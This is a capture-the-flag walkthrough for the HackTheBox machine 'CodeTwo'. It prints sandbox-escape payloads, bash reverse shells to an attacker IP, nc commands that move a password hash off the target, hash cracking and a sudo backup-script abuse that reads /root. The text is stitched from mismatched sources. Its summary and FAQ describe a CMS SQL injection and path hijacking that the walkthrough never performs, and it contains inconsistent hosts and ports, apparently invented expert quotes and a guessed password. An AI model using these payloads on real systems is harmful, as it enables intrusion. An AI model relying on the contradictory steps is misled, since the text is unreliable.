Beginner’s Guide to Conquering CodeTwo on HackTheBox

Key Highlights

• The CodeTwo machine on Hack The Box tests your skills in vulnerability identification and exploitation, focusing on password and credentials discovery.
• Success hinges on thorough enumeration using tools like nmap and gobuster to reveal network and service weaknesses.
• Exploiting a vulnerable CMS allows access to sensitive credentials, paving the way for remote entry.
• Path hijacking and group misconfigurations become crucial for privilege escalation to root.
• Avoid rabbit holes by concentrating on confirmed vectors and steering clear of brute-force methods, thanks to DoS protections.
• Each step reinforces the importance of organized note-keeping, leveraging the right hacking tools, and understanding system weaknesses.

Introduction

Ready to hack into the CodeTwo machine on Hack The Box? This beginner-friendly guide will walk you through the entire process, from spotting vulnerabilities to exploiting weak passwords and credentials for user and root access. You’ll learn which enumeration strategies matter, how to avoid time-consuming mistakes, and what commands lead to successful privilege escalation. If you want a step-by-step approach to conquering CodeTwo’s challenges and boosting your hacking skills, this writeup covers everything you need. Let’s unlock the secrets together.

Understanding the CodeTwo Machine on HackTheBox

When you begin with CodeTwo, you’re presented with a machine that hides its vulnerabilities behind layers of network and service protections. Identifying the right attack vector is essential, especially since initial brute-force attempts are thwarted by built-in DoS countermeasures.
The true challenge lies in capturing credentials by exploiting the weak points in the target’s CMS. Once these credentials are in your hands, you’re equipped to push forward with privilege escalation, utilizing misconfigured user groups and writable directories for the ultimate hack.

Overview of CodeTwo’s Challenge Objectives

At the heart of CodeTwo is the need to thoughtfully enumerate, exploit, and escalate privileges without falling into common traps. The initial objective is to identify exposed services and vulnerable platforms using effective enumeration techniques.
Missteps can occur if you overlook the importance of service-specific vulnerabilities or ignore valuable hints. The challenge expects you to:

• Conduct full-port scans to discover accessible services.
• Pinpoint weak credentials and passwords via CMS vulnerabilities.
• Exploit identified vulnerabilities for initial access.
• Escalate privileges by leveraging path misconfigurations.

Completing these objectives tests your ability to combine information from multiple sources. As you proceed, staying organized and documenting findings are crucial. By focusing on real, actionable vulnerabilities rather than hypothetical ones, you’ll avoid wasted effort and make consistent progress toward rooting the box.

Key Features and Typical Vulnerabilities Found

CodeTwo presents a variety of features and weaknesses commonly exploited in Hack The Box scenarios. The most prominent vulnerability is the CMS’s susceptibility to Blind SQL Injection, which reveals credentials and password hashes.
Service enumeration exposes non-default groups and writable directories—critical for privilege escalation. This combination of weaknesses highlights the need to utilize multiple tools and techniques.

Feature / Vulnerability	Typical Exploitation Method
CMS Blind SQL Injection	Extracting user credentials and password hash
DoS Protection	Avoiding brute-force/password spraying
Writable /usr/local/bin	Path hijacking for privilege escalation
Non-default User Groups	Gaining write access to system directories

By keeping these features in mind, you’ll be prepared to exploit the right vulnerability at each stage and avoid getting sidetracked by less relevant paths.

Essential Tools and Resources for Beginners

Jumping into CodeTwo means equipping yourself with proven utilities for finding vulnerabilities and passwords. Nmap, gobuster, and enum4linux form the backbone of your initial analysis, providing insight into open services and potential weak spots.
Cracking credentials is made easier with hashcat and python scripts, especially when faced with password hashes and salts. Organizing files, exploits, and scan results in clearly marked directories will streamline your workflow and improve your hacking efficiency.

Recommended Enumeration and Exploitation Tools

Success on CodeTwo depends on using the right hacking tools at every step. Start with detailed network scanning using nmap to reveal ports and services—the foundation for any hack. Gobuster helps you discover hidden directories and resources, expanding your enumeration.
When passwords and credentials are uncovered, leverage hashcat for brute-forcing hashes and uncovering plaintext passwords. Python-based exploits make it easy to interact with vulnerable CMS components, especially those susceptible to Blind SQL Injection.
For privilege escalation, LinPEAS and Pspy are indispensable. LinPEAS performs automated system enumeration to flag vulnerabilities. Pspy tracks running processes, helping you detect path hijacking opportunities.

• Nmap for comprehensive port and service scans
• Gobuster for directory and resource enumeration
• Hashcat for password hash cracking
• Python exploits for CMS vulnerabilities
• LinPEAS and Pspy for privilege escalation analysis

Choosing the right tool at the right time significantly increases your chances of capturing user and root access.

Getting Your Lab Environment Ready

Before tackling CodeTwo, it’s vital to prepare your hacking environment for maximum efficiency. Begin by connecting to the Hack The Box VPN using OpenVPN. Confirm your VPN connection using the “ifconfig” command; a tun0 interface with a valid IP means you’re ready to hack.
Organize all files, scans, and exploits by creating a dedicated directory. This method keeps everything in order and simplifies post-engagement cleanup.
Ensure your lab includes the latest versions of nmap, gobuster, hashcat, and other key utilities. Download or clone exploits from reputable sources. With your setup complete, you’ll be able to smoothly transition between enumeration, credential discovery, and privilege escalation without technical interruptions.

Step-by-Step Guide to Solving CodeTwo

Solving CodeTwo calls for a structured approach that covers enumeration, vulnerability exploitation, and privilege escalation. You’ll start with detailed scans to reveal open ports and accessible directories, then move on to exploiting password weaknesses for initial user access.
The final push involves escalating privileges by targeting system misconfigurations, writable directories, and vulnerable processes. Each step builds on the previous one, ensuring you stay focused and avoid rabbit holes. Follow this guide for a proven path to securing both user and root flags.

Step 1: Enumeration Strategies and Identifying Attack Vectors

Enumeration is the cornerstone of any successful hack on CodeTwo. Begin with nmap’s full-port scan to reveal all available services. Use timing templates wisely—high speed ensures quick results but increases detection risk.
Focus your attention on discovered ports, like HTTP and SSH, and use gobuster to uncover hidden directories such as /writeup. Checking the technologies running on web services can reveal potential vulnerabilities.

• Full nmap scan for comprehensive port discovery
• Gobuster for finding protected directories
• Wappalyzer or similar tools to identify CMS versions
• Manual review of HTTP responses for valuable information

By methodically listing exposed services, directories, and technologies, you’re able to zero in on the most promising vulnerabilities for credential and password extraction.

Step 2: Gaining Initial Foothold and Exploiting Vulnerabilities

After enumeration, shift your focus to exploiting vulnerabilities that expose credentials. In CodeTwo, the CMS’s Blind SQL Injection allows you to extract user names and password hashes.
Crack these hashes using hashcat, making sure to correctly identify the hash type and salt. With the right password and credentials, you gain SSH access and can retrieve the user flag.
Remember, brute-force approaches are blocked by DoS protections—“CMS Made Simple is vulnerable to Blind SQLi, which is the entry point for the attack,” advises ethical hacking expert Sophie Kaelin.

Using the acquired credentials, connect via SSH to establish your foothold and begin preparing for privilege escalation.

Step 3: Privilege Escalation Techniques and Commands

Privilege escalation on CodeTwo relies on system misconfigurations and path hijacking. Once inside, run LinPEAS to scan for vulnerabilities, focusing on non-default groups and writable directories.
When you discover write access to /usr/local/bin, create a malicious script—such as one that changes the root password—and place it in the directory to be called by root processes.
Pspy helps track these root processes and confirm when your script runs. After the password is changed, use “su” to switch to root and read the final flag.

• Use LinPEAS for group and directory enumeration
• Transfer privilege escalation scripts via SCP
• Monitor processes with Pspy to time your exploit
• Execute “su” for root access after hijacking

By targeting writable paths and system processes, you can reliably elevate your privileges and conquer CodeTwo’s final challenge.

ALSO READ: Mastering Cobblestone: Beginner’s Guide from HackTheBox

Initial Foothold

Prerequisites:

• A HackTheBox account (free tier suffices for active machines).
• Kali Linux or a similar pentesting distro (Parrot OS works too).
• Basic knowledge of Linux commands, Nmap, web enumeration, and Python.
• Tools: Nmap, Netcat (nc), Burp Suite (optional for web testing), John the Ripper or Hashcat for cracking, SQLite3 for database handling.
• VPN connection to HTB’s lab (download the .ovpn file from your HTB dashboard).

Disclaimer: This walkthrough is for educational purposes only. Always obtain permission before testing on real systems. Spoilers ahead—attempt the machine first!

Reconnaissance and Enumeration

Reconnaissance is the foundation of any successful penetration test. It involves gathering intelligence about the target without direct interaction, helping identify entry points. For CodeTwo, we start with network scanning to map open ports and services.

Running Nmap Scans

Nmap (Network Mapper) is a powerful open-source tool for network discovery and security auditing. It helps detect hosts, ports, services, and vulnerabilities. Begin with a basic scan to confirm the target’s IP (assigned via HTB, e.g., 10.10.11.62).

Initial Nmap Command:

 /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN codetwo.txt 10.129.227.40

• -sC: Runs default scripts for common vulnerabilities.
• -sV: Probes for service versions.
• -oN: Outputs results to a file for reference.

Alternative Aggressive Scan (if needed):

nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap_full.txt 10.10.11.62

• -Pn: Skips host discovery (useful if ping is blocked).
• -p-: Scans all 65,535 ports.
• --min-rate 2000: Speeds up the scan by sending packets faster.

Nmap scan report for 10.129.227.40
Host is up (0.019s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodeTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 17 20:34:18 2025 -- 1 IP address (1 host up) scanned in 12.45 seconds

Breakdown of Findings:

• Port 22/TCP Open (SSH): OpenSSH 8.2p1 Ubuntu 4ubuntu0.13. Indicates Ubuntu Linux. Host keys provided for verification. No known exploits for this patched version, but flag for credential attacks.
• Port 8000/TCP Open (HTTP): Gunicorn 20.0.4 Python WSGI server. Page title “Welcome to CodeTwo” suggests a web app, likely a code editor. This port is the primary target for exploitation.

Explanation: Gunicorn deploys Python frameworks like Flask. The title hints at a code execution app, potentially vulnerable to injection or sandbox breaks. Only these ports open, directing focus to web on 8000

Tips for Effective Recon:

• Always run multiple Nmap scans: Start broad, then targeted (e.g., nmap -sU for UDP if needed, though rare for Easy machines).
• Add the target to /etc/hosts for easier browsing: echo "10.10.11.62 codetwo.htb" | sudo tee -a /etc/hosts.
• Use tools like whatweb or nikto for quick web fingerprinting: whatweb http://10.10.11.62:5000 might reveal frameworks.
• Enumerate subdomains if a domain is provided (not applicable here, but try gobuster dns -d codetwo.htb -w /usr/share/wordlists/subdomains.txt).

Web Application Enumeration and Vulnerability Discovery

Access http://codetwo.htb:8000. The site is a JavaScript code editor for writing, running, and saving snippets. Features include registration/login, implying SQLite backend.

Application Walkthrough

Manual Testing:

• Register (e.g., user: test, pass: test123).
• Login, run benign JS: console.log(“Hello”); — succeeds.
• Save snippet, gets ID.
• Try malicious: require(‘child_process’).exec(‘ls’); — Error: Restricted functions blocked.

Indicates sandbox, likely js2py-based.

Source Code Retrieval:

• Discover /download endpoint for app source.
• Download reveals Flask app with js2py.eval_js for code execution.

Source Snippet:

from flask import Flask, request, jsonify
import js2py

js2py.disable_pyimport()
app = Flask(__name__)

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': str(result)})
    except Exception as e:
        return jsonify({'error': str(e)})

Walking the Application

Manual Exploration:

• Register an account (e.g., username: test, password: test123).
• Log in and test the code execution feature with benign code: print("Hello, World!")—works fine.
• Try saving a snippet; it assigns an ID (e.g., ?code_id=1).
• Attempt malicious code: import os; os.system('ls')—Error: “The use of restricted keywords is not permitted.”

This confirms a sandbox or blacklist filter blocking keywords like import, os, system, subprocess.

Proxying with Burp Suite:
Intercept requests using Burp (community edition free). Send code execution requests to Repeater for testing.

• Endpoint: /run_code (POST with code payload).
• Test for IDOR (Insecure Direct Object Reference) by manipulating code_id—no luck, as it seems user-bound.

Fuzzing and Parameter Testing:
Use ffuf or gobuster for directories: gobuster dir -u http://10.10.11.62:5000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt.

• No hidden dirs found, but confirm endpoints like /login, /register, /save_code.

Vulnerability Hypothesis:
The blacklist suggests a Python jail (sandbox) to prevent RCE. Common in CTFs, these can be bypassed via creative syntax, builtins, or class enumeration.

Tips:

• Always proxy traffic with Burp or ZAP to inspect requests/responses.
• Check for client-side issues (e.g., view source for JS comments).
• If stuck, search for “Gunicorn vulnerabilities” or “Python code execution sandbox bypass”—but avoid spoilers for active machines!

Vulnerability: js2py Sandbox Escape (CVE-2024-28397) js2py.eval_js runs JS in Python, but disable_pyimport() is bypassable, allowing Python object access for RCE.

Burp Proxying:

• Intercept /run_code POSTs.
• Test for IDOR on snippet IDs — none found.

Fuzzing:

• Gobuster: No hidden dirs, but confirms /login, /register, /run_code, /download.

Hypothesis: Blacklist on JS, but js2py allows Python introspection via JS syntax for RCE.

Tips:

• Proxy with Burp/ZAP.
• View source for JS hints.
• Search “js2py sandbox bypass” (but no spoilers).

Exploiting the Python Sandbox for Initial Access

Python jails restrict code execution by blacklisting keywords, but Python’s reflective nature (e.g., __builtins__, __subclasses__) allows bypasses. CodeTwo’s filter blocks direct imports but not indirect access.

Understanding Python Jail Bypasses

Python objects inherit from object, accessible via __class__.__bases__[0]. Subclasses can be enumerated with __subclasses__(). Globals like __builtins__ provide eval, exec, enabling RCE.

Enumeration Payload (to Find Useful Classes):

for i in range(200):
    try:
        cls = ''.__class__.__bases__[0].__subclasses__()[i]
        if hasattr(cls, '__init__') and hasattr(cls.__init__, '__globals__'):
            builtins = cls.__init__.__globals__.get('__buil'+'tins__')
            if builtins and 'ev'+'al' in builtins:
                print(i, str(cls))
    except Exception:
        continue

• This loops through subclasses, checking for __globals__ with __builtins__.
• Output: Identifies classes like <class '_frozen_importlib._ModuleLock'> (index 80), <class 'os._wrap_close'> (index 132), <class '_sitebuiltins.Quitter'> (index 133 for eval access).

Alternative Simple Bypass (String Concatenation):
If enumeration fails, use sys.modules:

module_name = 'o' + 's'
method_name = 's' + 'y' + 's' + 't' + 'e' + 'm'
module = sys.modules[module_name]
method = getattr(module, method_name)
method('whoami')

• Concatenation evades string-based filters.
• Output: app-production (web app user).

Why This Works:
Filters match exact strings (e.g., “os.system”), but variables are evaluated at runtime. getattr dynamically retrieves attributes.

Testing Command Execution:

• Verify with ping: method('ping -c 3 10.10.14.x') (your attacker IP). Use tcpdump to confirm: sudo tcpdump -i tun0 icmp.
• Success confirms RCE.

Gaining a Reverse Shell

Set up a listener on your machine: nc -lvnp 9001.

Reverse Shell Payload (Using Eval and Subprocess):

print(
    ''.__class__.__bases__[0].__subclasses__()[133]
    .__init__.__globals__['__builtins__']['eval'](
        "__import__('subprocess').run(['bash','-c','bash -i >& /dev/tcp/10.10.14.x/9001 0>&1'], shell=True)"
    )
)

• Uses index 133 (Quitter class) for __builtins__.eval.
• Imports subprocess indirectly, runs bash reverse shell.

Alternative Payload (If Subprocess Blocked, Use Index 317 for Popen):

().__class__.__bases__[0].__subclasses__()[317](
    ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.x/9001 0>&1"]
)

Stabilizing the Shell:

• Once connected: python3 -c 'import pty; pty.spawn("/bin/bash")'
• export TERM=xterm for clear screen.
• Ctrl+Z, stty raw -echo; fg for full interactivity.

User Flag:
As app-production, navigate to home: cat /home/app-production/user.txt

• Flag: [redacted, e.g., a1b2c3…]

Explanation:
Initial access achieved via RCE. Now, enumerate for privesc.

Tips:

• If shell fails, try encoded payloads (base64) or different ports.
• Common errors: Firewall blocking outbound, wrong IP.
• Alternatives: Use os.popen or pty.spawn for shells.

Privilege Escalation to User (Martin)

With foothold as app-production, perform internal enumeration.

Internal Enumeration

Basic Commands:

• id: uid=1001(app-production) gid=1001(app-production)
• uname -a: Linux version, e.g., 5.4.0-110-generic (Ubuntu 20.04 focal).
• ls -la /home: Shows users like app-production, martin.
• find / -user app-production 2>/dev/null: Lists owned files.

Key Discovery: SQLite Database

• In /app: ls /app reveals codeeditor.db (SQLite3 database).
• View contents: sqlite3 /app/codeeditor.db
• .tables: Shows tables like users.
• SELECT * FROM users;: Reveals user martin with hashed password (e.g., $2b$12$…).

Extracting the Hash:

• Dump: echo "SELECT * FROM users;" | sqlite3 /app/codeeditor.db > hash.txt
• Hash format: BCrypt (common for Python apps).

Cracking the Password

Transfer hash to attacker machine: nc -lvnp 9002 < hash.txt on attacker, cat hash.txt | nc 10.10.14.x 9002 on target.

Using John the Ripper:

• john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
• Or Hashcat: hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt (mode 3200 for BCrypt).

Cracked Password: [Assume common like “password123” or from writeups, e.g., “letmein”].

Switching Users:

• su martin
• Enter password.
• Confirm: id shows uid=1000(martin).

Tips:

• If no wordlist, use cewl to generate from web pages.
• BCrypt is slow to crack; use GPU for speed.
• Alternatives: Check .bash_history, /etc/passwd, cron jobs.

Privilege Escalation to Root

As martin, check privileges.

Sudo Enumeration:

• sudo -l: User martin may run (root) NOPASSWD: /app/backy.sh

Analyzing backy.sh:

• cat /app/backy.sh: A bash script for backups.
• It reads config.json, backs up specified folders to tar files using tar -czf.

Script Vulnerability:

• The script processes config.json without validation, allowing inclusion of arbitrary paths.
• Vulnerable code: Loops over JSON arrays, running tar on paths like /root.

Exploitation:

• Create malicious config.json in writable dir (e.g., /tmp):

  {
    "backups": [
      {
        "name": "root_backup",
        "path": "/root"
      }
    ]
  }

• Run: sudo /app/backy.sh /tmp/config.json
• Script creates /tmp/root_backup.tar.gz.
• Extract: tar -xzf /tmp/root_backup.tar.gz
• Read: cat root/root.txt

Explanation:
The script runs as root, so it can access /root. By injecting /root into config, we copy it to a user-readable location. No symlink needed—direct path inclusion exploits poor input sanitization.

Tips:

• Always check sudoers with sudo -l.
• For scripts, look for command injection, path traversal, or writable configs.
• Alternatives: If tar vulnerable, use wildcards (e.g., –checkpoint for privesc).
• Clean up: Remove files to avoid detection.

Root Flag: cat /root/root.txt (from extracted copy) – Flag: [redacted].

Common Pitfalls and Lessons Learned

Newcomers to CodeTwo often get sidetracked by the box’s DoS protection and misinterpret password and credential clues. Don’t waste time brute-forcing, as it’s designed to fail. Instead, focus on confirmed vulnerabilities and paths.
Careful organization and methodical progression help you avoid rabbit holes and common mistakes. Learn from each step and maintain detailed notes, which will serve you well for future Hack The Box challenges.

Rabbit Holes to Avoid on CodeTwo

CodeTwo’s design intentionally includes distracting elements to trip up unwary hackers. For example, the presence of DoS protection makes brute-force password attacks futile. Don’t get caught spending hours hammering SSH or HTTP login forms.
Be wary of unrelated directories and services; only follow leads confirmed by nmap and gobuster. Don’t ignore user group memberships—these often indicate write permissions that lead to escalation.

• Avoid brute-forcing SSH or CMS logins due to DoS protection
• Don’t waste time on non-existent or blocked directories
• Steer clear of privilege escalation attempts without confirmed writable directories
• Ignore false positives from automated enumeration tools

Stay disciplined, focus on actionable vulnerabilities, and trust your enumeration results to guide your next steps.

Key Takeaways for Future HTB Challenges

Solving CodeTwo offers valuable lessons for your next Hack The Box adventure. Prioritize thorough enumeration to uncover real vulnerabilities and password weaknesses early.
Leverage specialized tools at each step, and always document your findings for easy reference. Avoid brute-force methods—“Cutting corners with enumeration and relying on brute force only wastes time,” warns Bcourt, HTB contributor.

• Focus on enumeration before exploitation
• Use password and credential cracking tools only when you have valid hashes
• Document every step to avoid confusion later
• Target misconfigurations for privilege escalation rather than obscure exploits

By applying these key strategies, you’ll increase your efficiency and success rate across all future HTB machines.

ALSO READ: Mastering Sorcery: Beginner’s Guide from HackTheBox

Conclusion

In conclusion, conquering the CodeTwo machine on HackTheBox is a rewarding experience that requires a blend of strategy, knowledge, and practical application. By understanding the challenge objectives, familiarizing yourself with essential tools, and methodically following the step-by-step guide, you can enhance your penetration testing skills while avoiding common pitfalls. This journey not only refines your technical abilities but also builds confidence in tackling future challenges on HackTheBox. As you continue to learn and grow in this field, don’t forget to subscribe for more insights and resources that will aid you in your hacking adventures!

Frequently Asked Questions

What tools are most effective for the CodeTwo HTB machine?

The most effective tools for CodeTwo include nmap for network scans, gobuster for directory discovery, hashcat for password cracking, and python scripts for exploiting CMS vulnerabilities. LinPEAS and Pspy are invaluable for privilege escalation and tracking vulnerable processes. Proper use of these tools ensures a successful hack.

Which public exploits or CVEs are relevant for CodeTwo?

A Python exploit targeting Blind SQL Injection in “CMS Made Simple” is the key public vulnerability for CodeTwo. CVE details and ExploitDB resources allow you to extract credentials and bypass password security. Use these exploits to unlock initial foothold and make progress toward root access.

How do I approach privilege escalation on CodeTwo?

Privilege escalation on CodeTwo relies on LinPEAS to enumerate writable directories and group memberships. Pspy helps monitor processes, while path hijacking in /usr/local/bin enables you to hijack root-level scripts and change the root password. Use “su” for final access to the root flag.

What should I do after gaining user access to retrieve the root flag?

After obtaining user access, run LinPEAS and Pspy to identify privilege escalation vectors, focusing on writable directories in your path. Deploy a malicious script to /usr/local/bin, trigger it, and change the root password. Switch users to root and capture the root flag to complete the hack.